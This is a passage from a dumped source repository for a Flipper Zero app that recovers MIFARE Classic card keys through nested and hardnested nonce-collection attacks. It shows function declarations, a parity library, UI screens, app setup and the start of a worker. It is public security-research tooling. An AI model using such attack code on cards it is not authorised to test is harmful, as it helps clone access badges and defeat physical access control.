blockNo,\n    uint8_t keyType,\n    uint64_t ui64Key,\n    uint32_t delay,\n    bool full);\n\nstruct distance_info nested_calibrate_distance_info(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t blockNo,\n    uint8_t keyType,\n    uint64_t ui64Key);\n\ntypedef enum {\n    NestedCheckKeyNoTag,\n    NestedCheckKeyValid,\n    NestedCheckKeyInvalid,\n} NestedCheckKeyResult;\n\nNestedCheckKeyResult nested_check_key(\n    FuriHalNfcTxRxContext* tx_rx,\n    uint8_t blockNo,\n    uint8_t keyType,\n    uint64_t ui64Key);\n\nbool nested_check_block(FuriHalNfcTxRxContext* tx_rx, uint8_t blockNo, uint8_t keyType);\n\nvoid nested_get_data();\n\nbool mifare_classic_authex(\n    Crypto1* crypto,\n    FuriHalNfcTxRxContext* tx_rx,\n    uint32_t uid,\n    uint32_t blockNo,\n    uint32_t keyType,\n    uint64_t ui64Key,\n    bool isNested,\n    uint32_t* ntptr);\n\nvoid nfc_activate();\n\nvoid nfc_deactivate();\n"
  },
  {
    "path": "lib/parity/parity.c",
    "content": "#include \"parity.h\"\n\nuint32_t __paritysi2(uint32_t a) {\n    uint32_t x = (uint32_t)a;\n    x ^= x >> 16;\n    x ^= x >> 8;\n    x ^= x >> 4;\n    return (0x6996 >> (x & 0xF)) & 1;\n}\n\nstatic const uint8_t g_odd_byte_parity[256] = {\n    1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0,\n    1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1,\n    1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1,\n    0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0,\n    1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1,\n    0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0,\n    0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1,\n    0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,\n    1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1};\n\n#define ODD_PARITY8(x) \\\n    { g_odd_byte_parity[x] }\n#define EVEN_PARITY8(x) \\\n    { !g_odd_byte_parity[x] }\n\nuint8_t oddparity8(const uint8_t x) {\n    return g_odd_byte_parity[x];\n}\n\nuint8_t evenparity8(const uint8_t x) {\n    return !g_odd_byte_parity[x];\n}\n\nuint8_t evenparity16(uint16_t x) {\n#if !defined __GNUC__\n    x ^= x >> 8;\n    return EVEN_PARITY8(x);\n#else\n    return (__builtin_parity(x) & 0xFF);\n#endif\n}\n\nuint8_t oddparity16(uint16_t x) {\n#if !defined __GNUC__\n    x ^= x >> 8;\n    return ODD_PARITY8(x);\n#else\n    return !__builtin_parity(x);\n#endif\n}\n\nuint8_t evenparity32(uint32_t x) {\n#if !defined __GNUC__\n    x ^= x >> 16;\n    x ^= x >> 8;\n    return EVEN_PARITY8(x);\n#else\n    return (__builtin_parity(x) & 0xFF);\n#endif\n}\n\nuint8_t oddparity32(uint32_t x) {\n#if !defined __GNUC__\n    x ^= x >> 16;\n    x ^= x >> 8;\n    return ODD_PARITY8(x);\n#else\n    return !__builtin_parity(x);\n#endif\n}"
  },
  {
    "path": "lib/parity/parity.h",
    "content": "#include \"stdint.h\"\n\nuint8_t oddparity8(const uint8_t x);\nuint8_t evenparity8(const uint8_t x);\n\nuint8_t evenparity16(uint16_t x);\nuint8_t oddparity16(uint16_t x);\n\nuint8_t evenparity32(uint32_t x);\nuint8_t oddparity32(uint32_t x);"
  },
  {
    "path": "mifare_nested.c",
    "content": "#include \"mifare_nested_i.h\"\n#include <gui/elements.h>\n\nbool mifare_nested_custom_event_callback(void* context, uint32_t event) {\n    furi_assert(context);\n    MifareNested* mifare_nested = context;\n    return scene_manager_handle_custom_event(mifare_nested->scene_manager, event);\n}\n\nbool mifare_nested_back_event_callback(void* context) {\n    furi_assert(context);\n    MifareNested* mifare_nested = context;\n    return scene_manager_handle_back_event(mifare_nested->scene_manager);\n}\n\nvoid mifare_nested_tick_event_callback(void* context) {\n    furi_assert(context);\n    MifareNested* mifare_nested = context;\n    scene_manager_handle_tick_event(mifare_nested->scene_manager);\n}\n\nvoid mifare_nested_show_loading_popup(void* context, bool show) {\n    MifareNested* mifare_nested = context;\n    TaskHandle_t timer_task = xTaskGetHandle(configTIMER_SERVICE_TASK_NAME);\n\n    if(show) {\n        // Raise timer priority so that animations can play\n        vTaskPrioritySet(timer_task, configMAX_PRIORITIES - 1);\n        view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewLoading);\n    } else {\n        // Restore default timer priority\n        vTaskPrioritySet(timer_task, configTIMER_TASK_PRIORITY);\n    }\n}\n\nNestedState* collection_alloc() {\n    NestedState* nested = malloc(sizeof(NestedState));\n    nested->view = view_alloc();\n    view_allocate_model(nested->view, ViewModelTypeLocking, sizeof(NestedAttackViewModel));\n    with_view_model(\n        nested->view,\n        NestedAttackViewModel * model,\n        {\n            model->header = furi_string_alloc();\n            furi_string_set(model->header, \"Collecting nonces\");\n            model->keys_count = 0;\n            model->hardnested_states = 0;\n            model->lost_tag = false;\n            model->calibrating = false;\n            model->need_prediction = false;\n            model->hardnested = false;\n        },\n        false);\n\n    return nested;\n}\n\nCheckKeysState* check_keys_alloc() {\n    CheckKeysState* state = malloc(sizeof(CheckKeysState));\n    state->view = view_alloc();\n    view_allocate_model(state->view, ViewModelTypeLocking, sizeof(CheckKeysViewModel));\n    with_view_model(\n        state->view,\n        CheckKeysViewModel * model,\n        {\n            model->header = furi_string_alloc();\n            furi_string_set(model->header, \"Checking keys\");\n            model->lost_tag = false;\n        },\n        false);\n\n    return state;\n}\n\nstatic void nested_draw_callback(Canvas* canvas, void* model) {\n    NestedAttackViewModel* m = model;\n\n    if(m->lost_tag) {\n        canvas_set_font(canvas, FontPrimary);\n        canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, \"Lost the tag!\");\n        canvas_set_font(canvas, FontSecondary);\n        elements_multiline_text_aligned(\n            canvas, 64, 23, AlignCenter, AlignTop, \"Make sure the tag is\\npositioned correctly.\");\n    } else if(m->calibrating) {\n        canvas_set_font(canvas, FontPrimary);\n        canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, \"Calibrating...\");\n        canvas_set_font(canvas, FontSecondary);\n        if(!m->need_prediction) {\n            elements_multiline_text_aligned(\n                canvas, 64, 23, AlignCenter, AlignTop, \"Don't touch or move\\nFlipper/Tag!\");\n        } else {\n            elements_multiline_text_aligned(\n                canvas, 64, 18, AlignCenter, AlignTop, \"Don't touch or move tag!\");\n            canvas_set_font(canvas, FontPrimary);\n            elements_multiline_text_aligned(\n                canvas, 64, 30, AlignCenter, AlignTop, \"Calibration will take\\nmore time\");\n        }\n    } else if(m->hardnested) {\n        char draw_str[32] = {};\n        canvas_set_font(canvas, FontPrimary);\n        canvas_draw_str_aligned(\n            canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header));\n        canvas_set_font(canvas, FontSecondary);\n\n        float progress =\n            m->keys_count == 0 ? 0 : (float)(m->nonces_collected) / (float)(m->keys_count);\n\n        if(progress > 1.0) {\n            progress = 1.0;\n        }\n\n        elements_progress_bar(canvas, 5, 15, 120, progress);\n        canvas_set_font(canvas, FontSecondary);\n        snprintf(\n            draw_str,\n            sizeof(draw_str),\n            \"Nonces collected: %lu/%lu\",\n            m->nonces_collected,\n            m->keys_count);\n        canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str);\n        snprintf(draw_str, sizeof(draw_str), \"States found: %lu/256\", m->hardnested_states);\n        canvas_draw_str_aligned(canvas, 1, 40, AlignLeft, AlignTop, draw_str);\n    } else {\n        char draw_str[32] = {};\n        canvas_set_font(canvas, FontPrimary);\n        canvas_draw_str_aligned(\n            canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header));\n        canvas_set_font(canvas, FontSecondary);\n\n        float progress =\n            m->keys_count == 0 ? 0 : (float)(m->nonces_collected) / (float)(m->keys_count);\n\n        if(progress > 1.0) {\n            progress = 1.0;\n        }\n\n        elements_progress_bar(canvas, 5, 15, 120, progress);\n        canvas_set_font(canvas, FontSecondary);\n        snprintf(\n            draw_str,\n            sizeof(draw_str),\n            \"Nonces collected: %lu/%lu\",\n            m->nonces_collected,\n            m->keys_count);\n        canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str);\n    }\n\n    elements_button_center(canvas, \"Stop\");\n}\n\nstatic void check_keys_draw_callback(Canvas* canvas, void* model) {\n    CheckKeysViewModel* m = model;\n\n    if(m->lost_tag) {\n        canvas_set_font(canvas, FontPrimary);\n        canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, \"Lost the tag!\");\n        canvas_set_font(canvas, FontSecondary);\n        elements_multiline_text_aligned(\n            canvas, 64, 23, AlignCenter, AlignTop, \"Make sure the tag is\\npositioned correctly.\");\n    } else if(m->processing_keys) {\n        canvas_set_font(canvas, FontPrimary);\n        canvas_draw_str_aligned(canvas, 64, 4, AlignCenter, AlignTop, \"Processing keys...\");\n        canvas_set_font(canvas, FontSecondary);\n        elements_multiline_text_aligned(\n            canvas, 64, 23, AlignCenter, AlignTop, \"Checking which keys you\\nalready have...\");\n    } else {\n        char draw_str[32] = {};\n        char draw_sub_str[32] = {};\n        canvas_set_font(canvas, FontPrimary);\n        canvas_draw_str_aligned(\n            canvas, 64, 2, AlignCenter, AlignTop, furi_string_get_cstr(m->header));\n        canvas_set_font(canvas, FontSecondary);\n\n        float progress = m->keys_count == 0 ? 0 :\n                                              (float)(m->keys_checked) / (float)(m->keys_count);\n\n        if(progress > 1.0) {\n            progress = 1.0;\n        }\n\n        elements_progress_bar(canvas, 5, 15, 120, progress);\n        canvas_set_font(canvas, FontSecondary);\n        snprintf(\n            draw_str, sizeof(draw_str), \"Keys checked: %lu/%lu\", m->keys_checked, m->keys_count);\n        canvas_draw_str_aligned(canvas, 1, 28, AlignLeft, AlignTop, draw_str);\n        snprintf(\n            draw_sub_str,\n            sizeof(draw_sub_str),\n            \"Keys found: %lu/%lu\",\n            m->keys_found,\n            m->keys_total);\n        canvas_draw_str_aligned(canvas, 1, 40, AlignLeft, AlignTop, draw_sub_str);\n    }\n\n    elements_button_center(canvas, \"Stop\");\n}\n\nstatic bool nested_input_callback(InputEvent* event, void* context) {\n    MifareNested* mifare_nested = context;\n\n    bool consumed = false;\n\n    if(event->type == InputTypeShort && (event->key == InputKeyBack || event->key == InputKeyOk)) {\n        scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0);\n        consumed = true;\n    }\n\n    return consumed;\n}\n\nMifareNested* mifare_nested_alloc() {\n    MifareNested* mifare_nested = malloc(sizeof(MifareNested));\n\n    mifare_nested->worker = mifare_nested_worker_alloc();\n    mifare_nested->view_dispatcher = view_dispatcher_alloc();\n    mifare_nested->scene_manager =\n        scene_manager_alloc(&mifare_nested_scene_handlers, mifare_nested);\n    view_dispatcher_enable_queue(mifare_nested->view_dispatcher);\n    view_dispatcher_set_event_callback_context(mifare_nested->view_dispatcher, mifare_nested);\n    view_dispatcher_set_custom_event_callback(\n        mifare_nested->view_dispatcher, mifare_nested_custom_event_callback);\n    view_dispatcher_set_navigation_event_callback(\n        mifare_nested->view_dispatcher, mifare_nested_back_event_callback);\n    view_dispatcher_set_tick_event_callback(\n        mifare_nested->view_dispatcher, mifare_nested_tick_event_callback, 100);\n\n    // Nfc device\n    mifare_nested->nfc_dev = nfc_device_alloc();\n\n    // Open GUI record\n    mifare_nested->gui = furi_record_open(RECORD_GUI);\n    view_dispatcher_attach_to_gui(\n        mifare_nested->view_dispatcher, mifare_nested->gui, ViewDispatcherTypeFullscreen);\n\n    // Open Notification record\n    mifare_nested->notifications = furi_record_open(RECORD_NOTIFICATION);\n\n    // Submenu\n    mifare_nested->submenu = submenu_alloc();\n    view_dispatcher_add_view(\n        mifare_nested->view_dispatcher,\n        MifareNestedViewMenu,\n        submenu_get_view(mifare_nested->submenu));\n\n    // Popup\n    mifare_nested->popup = popup_alloc();\n    view_dispatcher_add_view(\n        mifare_nested->view_dispatcher,\n        MifareNestedViewPopup,\n        popup_get_view(mifare_nested->popup));\n\n    // Loading\n    mifare_nested->loading = loading_alloc();\n    view_dispatcher_add_view(\n        mifare_nested->view_dispatcher,\n        MifareNestedViewLoading,\n        loading_get_view(mifare_nested->loading));\n\n    // Text Input\n    mifare_nested->text_input = text_input_alloc();\n    view_dispatcher_add_view(\n        mifare_nested->view_dispatcher,\n        MifareNestedViewTextInput,\n        text_input_get_view(mifare_nested->text_input));\n\n    // Custom Widget\n    mifare_nested->widget = widget_alloc();\n    view_dispatcher_add_view(\n        mifare_nested->view_dispatcher,\n        MifareNestedViewWidget,\n        widget_get_view(mifare_nested->widget));\n\n    // Variable Item List\n    mifare_nested->variable_item_list = variable_item_list_alloc();\n    view_dispatcher_add_view(\n        mifare_nested->view_dispatcher,\n        MifareNestedViewVariableList,\n        variable_item_list_get_view(mifare_nested->variable_item_list));\n\n    // Nested attack state\n    NestedState* plugin_state = collection_alloc();\n    view_set_context(plugin_state->view, mifare_nested);\n    mifare_nested->nested_state = plugin_state;\n    view_dispatcher_add_view(\n        mifare_nested->view_dispatcher, MifareNestedViewCollecting, plugin_state->view);\n\n    // Check keys attack state\n    CheckKeysState* keys_state = check_keys_alloc();\n    view_set_context(keys_state->view, mifare_nested);\n    mifare_nested->keys_state = keys_state;\n    view_dispatcher_add_view(\n        mifare_nested->view_dispatcher, MifareNestedViewCheckKeys, keys_state->view);\n\n    KeyInfo_t* key_info = malloc(sizeof(KeyInfo_t));\n    mifare_nested->keys = key_info;\n\n    MifareNestedSettings* settings = malloc(sizeof(MifareNestedSettings));\n    settings->only_hardnested = false;\n    mifare_nested->settings = settings;\n\n    view_set_draw_callback(plugin_state->view, nested_draw_callback);\n    view_set_input_callback(plugin_state->view, nested_input_callback);\n\n    view_set_draw_callback(keys_state->view, check_keys_draw_callback);\n    view_set_input_callback(keys_state->view, nested_input_callback);\n\n    mifare_nested->collecting_type = MifareNestedWorkerStateReady;\n    mifare_nested->run = NestedRunIdle;\n\n    return mifare_nested;\n}\n\nvoid mifare_nested_free(MifareNested* mifare_nested) {\n    furi_assert(mifare_nested);\n\n    // Nfc device\n    nfc_device_free(mifare_nested->nfc_dev);\n\n    // Submenu\n    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewMenu);\n    submenu_free(mifare_nested->submenu);\n\n    // Popup\n    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewPopup);\n    popup_free(mifare_nested->popup);\n\n    // Loading\n    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewLoading);\n    loading_free(mifare_nested->loading);\n\n    // TextInput\n    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewTextInput);\n    text_input_free(mifare_nested->text_input);\n\n    // Custom Widget\n    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewWidget);\n    widget_free(mifare_nested->widget);\n\n    // Variable Item List\n    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewVariableList);\n    variable_item_list_free(mifare_nested->variable_item_list);\n\n    // Nested\n    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewCollecting);\n\n    // Check keys\n    view_dispatcher_remove_view(mifare_nested->view_dispatcher, MifareNestedViewCheckKeys);\n\n    // Nonces states\n    free(mifare_nested->nonces);\n    free(mifare_nested->nested_state);\n\n    // Keys\n    free(mifare_nested->keys);\n\n    // Settings\n    free(mifare_nested->settings);\n\n    // Worker\n    mifare_nested_worker_stop(mifare_nested->worker);\n    mifare_nested_worker_free(mifare_nested->worker);\n\n    // View Dispatcher\n    view_dispatcher_free(mifare_nested->view_dispatcher);\n\n    // Scene Manager\n    scene_manager_free(mifare_nested->scene_manager);\n\n    // GUI\n    furi_record_close(RECORD_GUI);\n    mifare_nested->gui = NULL;\n\n    // Notifications\n    furi_record_close(RECORD_NOTIFICATION);\n    mifare_nested->notifications = NULL;\n\n    free(mifare_nested);\n}\n\nvoid mifare_nested_blink_start(MifareNested* mifare_nested) {\n    notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_start_blue);\n}\n\nvoid mifare_nested_blink_calibration_start(MifareNested* mifare_nested) {\n    notification_message(\n        mifare_nested->notifications, &mifare_nested_sequence_blink_start_magenta);\n}\n\nvoid mifare_nested_blink_nonce_collection_start(MifareNested* mifare_nested) {\n    notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_start_yellow);\n}\n\nvoid mifare_nested_blink_stop(MifareNested* mifare_nested) {\n    notification_message(mifare_nested->notifications, &mifare_nested_sequence_blink_stop);\n}\n\nint32_t mifare_nested_app(void* p) {\n    UNUSED(p);\n\n    MifareNested* mifare_nested = mifare_nested_alloc();\n\n    scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneStart);\n\n    view_dispatcher_run(mifare_nested->view_dispatcher);\n\n    mifare_nested_free(mifare_nested);\n\n    return 0;\n}\n"
  },
  {
    "path": "mifare_nested.h",
    "content": "#pragma once\n\ntypedef struct MifareNested MifareNested;\n"
  },
  {
    "path": "mifare_nested_i.h",
    "content": "#pragma once\n#include \"mifare_nested.h\"\n#include \"mifare_nested_worker.h\"\n#include \"lib/nested/nested.h\"\n#include <furi.h>\n#include <gui/gui.h>\n#include <gui/view_dispatcher.h>\n#include <gui/scene_manager.h>\n#include <notification/notification_messages.h>\n#include <gui/modules/submenu.h>\n#include <gui/modules/popup.h>\n#include <gui/modules/loading.h>\n#include <gui/modules/text_input.h>\n#include <gui/modules/widget.h>\n#include <input/input.h>\n#include \"scenes/mifare_nested_scene.h\"\n#include <storage/storage.h>\n#include <lib/toolbox/path.h>\n#include <lib/nfc/nfc_device.h>\n#include <lib/toolbox/value_index.h>\n#include <gui/modules/variable_item_list.h>\n#include \"mifare_nested_icons.h\"\n\n#define NESTED_VERSION_APP \"1.5.2\"\n#define NESTED_GITHUB_LINK \"https://github.com/AloneLiberty/FlipperNested\"\n#define NESTED_RECOVER_KEYS_GITHUB_LINK \"https://github.com/AloneLiberty/FlipperNestedRecovery\"\n#define NESTED_NONCE_FORMAT_VERSION \"3\"\n#define NESTED_AUTHOR \"@AloneLiberty (t.me/libertydev)\"\n\nenum MifareNestedCustomEvent {\n    // Reserve first 100 events for button types and indexes, starting from 0\n    MifareNestedCustomEventReserved = 100,\n\n    MifareNestedCustomEventViewExit,\n    MifareNestedCustomEventWorkerExit,\n    MifareNestedCustomEventByteInputDone,\n    MifareNestedCustomEventTextInputDone,\n    MifareNestedCustomEventSceneSettingLock\n};\n\ntypedef void (*NestedCallback)(void* context);\n\ntypedef struct {\n    FuriMutex* mutex;\n    FuriMessageQueue* event_queue;\n    ViewPort* view_port;\n    View* view;\n    NestedCallback callback;\n    void* context;\n} NestedState;\n\ntypedef void (*CheckKeysCallback)(void* context);\n\ntypedef struct {\n    FuriMutex* mutex;\n    FuriMessageQueue* event_queue;\n    ViewPort* view_port;\n    View* view;\n    CheckKeysCallback callback;\n    void* context;\n} CheckKeysState;\n\ntypedef enum {\n    EventTypeTick,\n    EventTypeKey,\n} EventType;\n\ntypedef struct {\n    EventType type;\n    InputEvent input;\n} PluginEvent;\n\ntypedef struct {\n    bool only_hardnested;\n} MifareNestedSettings;\n\ntypedef enum { NestedRunIdle, NestedRunCheckKeys, NestedRunAttack } NestedRunNext;\n\nstruct MifareNested {\n    MifareNestedWorker* worker;\n    ViewDispatcher* view_dispatcher;\n    Gui* gui;\n    NotificationApp* notifications;\n    SceneManager* scene_manager;\n    NfcDevice* nfc_dev;\n    VariableItemList* variable_item_list;\n    MifareNestedSettings* settings;\n    FuriString* text_box_store;\n\n    // Common Views\n    Submenu* submenu;\n    Popup* popup;\n    Loading* loading;\n    TextInput* text_input;\n    Widget* widget;\n\n    NonceList_t* nonces;\n    KeyInfo_t* keys;\n\n    NestedState* nested_state;\n    CheckKeysState* keys_state;\n    SaveNoncesResult_t* save_state;\n\n    MifareNestedWorkerState collecting_type;\n\n    NestedRunNext run;\n};\n\ntypedef enum {\n    MifareNestedViewMenu,\n    MifareNestedViewPopup,\n    MifareNestedViewLoading,\n    MifareNestedViewTextInput,\n    MifareNestedViewWidget,\n    MifareNestedViewVariableList,\n    MifareNestedViewCollecting,\n    MifareNestedViewCheckKeys,\n} MifareNestedView;\n\ntypedef struct {\n    FuriString* header;\n    uint32_t keys_count;\n    uint32_t nonces_collected;\n    uint32_t hardnested_states;\n    bool lost_tag;\n    bool calibrating;\n    bool need_prediction;\n    bool hardnested;\n} NestedAttackViewModel;\n\ntypedef struct {\n    FuriString* header;\n    uint32_t keys_count;\n    uint32_t keys_checked;\n    uint32_t keys_found;\n    uint32_t keys_total;\n    bool lost_tag;\n    bool processing_keys;\n} CheckKeysViewModel;\n\nstatic const NotificationSequence mifare_nested_sequence_blink_start_blue = {\n    &message_blink_start_10,\n    &message_blink_set_color_blue,\n    &message_do_not_reset,\n    NULL,\n};\n\nstatic const NotificationSequence mifare_nested_sequence_blink_start_magenta = {\n    &message_blink_start_10,\n    &message_blink_set_color_magenta,\n    &message_do_not_reset,\n    NULL,\n};\n\nstatic const NotificationSequence mifare_nested_sequence_blink_start_yellow = {\n    &message_blink_start_10,\n    &message_blink_set_color_yellow,\n    &message_do_not_reset,\n    NULL,\n};\n\nstatic const NotificationSequence mifare_nested_sequence_blink_stop = {\n    &message_blink_stop,\n    NULL,\n};\n\nMifareNested* mifare_nested_alloc();\n\nvoid mifare_nested_text_store_set(MifareNested* mifare_nested, const char* text, ...);\n\nvoid mifare_nested_text_store_clear(MifareNested* mifare_nested);\n\nvoid mifare_nested_blink_start(MifareNested* mifare_nested);\n\nvoid mifare_nested_blink_calibration_start(MifareNested* mifare_nested);\n\nvoid mifare_nested_blink_nonce_collection_start(MifareNested* mifare_nested);\n\nvoid mifare_nested_blink_stop(MifareNested* mifare_nested);\n\nvoid mifare_nested_show_loading_popup(void* context, bool show);\n"
  },
  {
    "path": "mifare_nested_worker.c",
    "content": "#include \"mifare_nested_worker_i.h\"\n\n#include \"lib/nested/nested.h\"\n#include \"lib/parity/parity.h\"\n#include <lib/nfc/protocols/nfc_util.h>\n\n#include <storage/storage.h>\n#include <stream/stream.h>\n#include <stream/file_stream.h>\n#include \"string.h\"\n#include <furi.h>\n#include <furi_hal.h>\n\n#define TAG \"MifareNestedWorker\"\n\n// possible sum property values\nstatic uint16_t sums[] =\n    {0, 32, 56, 64, 80, 96, 104, 112, 120, 128, 136, 144, 152, 160, 176, 192, 200, 224, 256};\n\nvoid mifare_nested_worker_change_state(\n    MifareNestedWorker* mifare_nested_worker,\n    MifareNestedWorkerState state) {\n    furi_assert(mifare_nested_worker);\n\n    mifare_nested_worker->state = state;\n}\n\nMifareNestedWorker* mifare_nested_worker_alloc() {\n    MifareNestedWorker* mifare_nested_worker = malloc(sizeof(MifareNestedWorker));\n\n    // Worker thread attributes\n    mifare_nested_worker->thread = furi_thread_alloc_ex(\n        \"MifareNestedWorker\", 8192, mifare_nested_worker_task, mifare_nested_worker);\n\n    mifare_nested_worker->callback = NULL;\n    mifare_nested_worker->context = NULL;\n\n    mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);\n\n    return mifare_nested_worker;\n}\n\nvoid mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker) {\n    furi_assert(mifare_nested_worker);\n\n    furi_thread_free(mifare_nested_worker->thread);\n    free(mifare_nested_worker);\n}\n\nvoid mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker) {\n    furi_assert(mifare_nested_worker);\n\n    mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateStop);\n    furi_thread_join(mifare_nested_worker->thread);\n}\n\nvoid mifare_nested_worker_start(\n    MifareNestedWorker* mifare_nested_worker,\n    MifareNestedWorkerState state,\n    NfcDeviceData* dev_data,\n    MifareNestedWorkerCallback callback,\n    void* context) {\n    furi_assert(mifare_nested_worker);\n    furi_assert(dev_data);\n\n    mifare_nested_worker->callback = callback;\n    mifare_nested_worker->context = context;\n    mifare_nested_worker->dev_data = dev_data;\n    mifare_nested_worker_change_state(mifare_nested_worker, state);\n    furi_thread_start(mifare_nested_worker->thread);\n}\n\nint32_t mifare_nested_worker_task(void* context) {\n    MifareNestedWorker* mifare_nested_worker = context;\n\n    if(mifare_nested_worker->state == MifareNestedWorkerStateCheck) {\n        mifare_nested_worker_check(mifare_nested_worker);\n    } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingStatic) {\n        mifare_nested_worker_collect_nonces_static(mifare_nested_worker);\n    } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollecting) {\n        mifare_nested_worker_collect_nonces(mifare_nested_worker);\n    } else if(mifare_nested_worker->state == MifareNestedWorkerStateCollectingHard) {\n        mifare_nested_worker_collect_nonces_hard(mifare_nested_worker);\n    } else if(mifare_nested_worker->state == MifareNestedWorkerStateValidating) {\n        mifare_nested_worker_check_keys(mifare_nested_worker);\n    }\n\n    mifare_nested_worker_change_state(mifare_nested_worker, MifareNestedWorkerStateReady);\n\n    return 0;\n}\n\nvoid mifare_nested_worker_write_uid_string(FuriHalNfcDevData* data, FuriString* string) {\n    uint8_t* uid = data->uid;\n    uint8_t uid_len = data->uid_len;\n\n    for(size_t i = 0; i < uid_len; i++) {\n        uint8_t uid_part = uid[i];\n        furi_string_cat_printf(string, \"%02X\", uid_part);\n    }\n}\n\nvoid mifare_nested_worker_get_key_cache_file_path(FuriHalNfcDevData* data, FuriString* file_path) {\n    furi_string_set(file_path, EXT_PATH(\"nfc/.cache\") \"/\");\n\n    mifare_nested_worker_write_uid_string(data, file_path);\n\n    furi_string_cat_printf(file_path, \".keys\");\n}\n\nvoid mifare_nested_worker_get_nonces_file_path(FuriHalNfcDevData* data, FuriString* file_path) {\n    furi_string_set(file_path, NESTED_FOLDER \"/\");\n\n    mifare_nested_worker_write_uid_string(data, file_path);\n\n    furi_string_cat_printf(file_path, \".nonces\");\n}\n\nvoid mifare_nested_worker_get_found_keys_file_path(FuriHalNfcDevData* data, FuriString* file_path) {\n    furi_string_set(file_path, NESTED_FOLDER \"/\");\n\n    mifare_nested_worker_write_uid_string(data, file_path);\n\n    furi_string_cat_printf(file_path, \".keys\");\n}\n\nvoid mifare_nested_worker_get_hardnested_folder_path(\n    FuriHalNfcDevData* data,\n    FuriString* file_path) {\n    furi_string_set(file_path, NESTED_FOLDER \"/\");\n\n    mifare_nested_worker_write_uid_string(data, file_path);\n}\n\nvoid mifare_nested_worker_get_hardnested_file_path(\n    FuriHalNfcDevData* data,\n    FuriString* file_path,\n    uint8_t sector,\n    uint8_t key_type) {\n    mifare_nested_worker_get_hardnested_folder_path(data, file_path);\n\n    furi_string_cat_printf(file_path, \"/%u_%u.nonces\", sector, key_type);\n}\n\nuint8_t mifare_nested_worker_get_block_by_sector(uint8_t sector) {\n    furi_assert(sector < 40);\n    if(sector < 32) {\n        return (sector * 4) + 3;\n    } else {\n        return 32 * 4 + (sector - 32) * 16 + 15;\n    }\n}\n\nstatic MfClassicSectorTrailer*\n    mifare_nested_worker_get_sector_trailer_by_sector(MfClassicData* data, uint8_t sector) {\n    return (MfClassicSectorTrailer*)data->block[mifare_nested_worker_get_block_by_sector(sector)]\n        .value;\n}\n\nbool mifare_nested_worker_read_key_cache(FuriHalNfcDevData* data, MfClassicData* mf_data) {\n    Storage* storage = furi_record_open(RECORD_STORAGE);\n    FuriString* temp_str = furi_string_alloc();\n    mifare_nested_worker_get_key_cache_file_path(data, temp_str);\n    FlipperFormat* file = flipper_format_file_alloc(storage);\n    bool load_success = false;\n    uint32_t sector_count = 0;\n\n    do {\n        if(storage_common_stat(storage, furi_string_get_cstr(temp_str), NULL) != FSE_OK) break;\n\n        if(!flipper_format_file_open_existing(file, furi_string_get_cstr(temp_str))) break;\n\n        uint32_t version = 0;\n\n        if(!flipper_format_read_header(file, temp_str, &version)) break;\n        if(furi_string_cmp_str(temp_str, \"Flipper NFC keys\")) break;\n\n        if(version != 1) break;\n\n        if(!flipper_format_read_string(file, \"Mifare Classic type\", temp_str)) break;\n\n        if(!furi_string_cmp(temp_str, \"1K\")) {\n            mf_data->type = MfClassicType1k;\n            sector_count = 16;\n        } else if(!furi_string_cmp(temp_str, \"4K\")) {\n            mf_data->type = MfClassicType4k;\n            sector_count = 40;\n        } else if(!furi_string_cmp(temp_str, \"MINI\")) {\n            mf_data->type = MfClassicTypeMini;\n            sector_count = 5;\n        } else {\n            break;\n        }\n\n        if(!flipper_format_read_hex_uint64(file, \"Key A map\", &mf_data->key_a_mask, 1)) break;\n        if(!flipper_format_read_hex_uint64(file, \"Key B map\", &mf_data->key_b_mask, 